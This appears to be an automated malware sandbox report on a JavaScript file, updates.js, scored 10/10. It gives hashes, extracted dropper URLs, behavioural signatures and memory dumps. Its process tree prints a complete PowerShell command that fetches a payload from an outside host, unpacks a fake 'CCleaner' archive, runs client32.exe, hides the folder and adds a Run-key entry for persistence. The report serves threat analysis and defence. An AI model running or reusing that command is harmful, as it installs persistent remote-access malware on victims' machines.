Analysis

  • max time kernel
    117s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    27-07-2024 00:29

General

  • Target

    updates.js

  • Size

    2.7MB

  • MD5

    9dee96d1aed9f08a3b40bcf3c26ade1e

  • SHA1

    500db417d1c81725a4a8a6cbe18b77fd0c58c7f3

  • SHA256

    043b4b669bfb4c8c12bcd6c66925b9ef3d8c78bf7a56c79dc07862b1c6c21f1d

  • SHA512

    5d82faa0cd03e5a5a4107c9303cd1525ee23cefe3b83e282667ec76501912ea7f050b184d0865db0b1e6ba66962052f2b4a178a41b4b24d058d6f4302423d09a

  • SSDEEP

    49152:DA4yxjzCgTpCffzZtrCP7sQs0iy/ss7+ZdhN6j4GusjtWsDtzXY7aIvJLwHcw1bI:f

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://hhic.top/data.php?12760

exe.dropper

http://hhic.top/data.php?12760

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $UDWHDA='http://hhic.top/data.php?12760';$ZYHQLDGOE=(New-Object System.Net.WebClient).DownloadString($UDWHDA);$ZWPT=[System.Convert]::FromBase64String($ZYHQLDGOE);$asd = Get-Random -Minimum -10 -Maximum 17; $JNBVL=[System.Environment]::GetFolderPath('ApplicationData')+'\DUHHTQV'+$asd;if (!(Test-Path $JNBVL -PathType Container)) { New-Item -Path $JNBVL -ItemType Directory };$p=Join-Path $JNBVL 'CCleaner.zip';[System.IO.File]::WriteAllBytes($p,$ZWPT);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$JNBVL)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $JNBVL 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $JNBVL -Force; $fd.attributes='Hidden';$s=$JNBVL+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='TDFNRE';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1808

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1808-4-0x000007FEF5C4E000-0x000007FEF5C4F000-memory.dmp

    Filesize

    4KB

  • memory/1808-5-0x000000001B540000-0x000000001B822000-memory.dmp

    Filesize

    2.9MB

  • memory/1808-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

    Filesize

    32KB

  • memory/1808-7-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

    Filesize

    9.6MB

  • memory/1808-8-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

    Filesize

    9.6MB

  • memory/1808-9-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

    Filesize

    9.6MB

  • memory/1808-10-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

    Filesize

    9.6MB

  • memory/1808-11-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

    Filesize

    9.6MB

  • memory/1808-13-0x000007FEF5990000-0x000007FEF632D000-memory.dmp

    Filesize

    9.6MB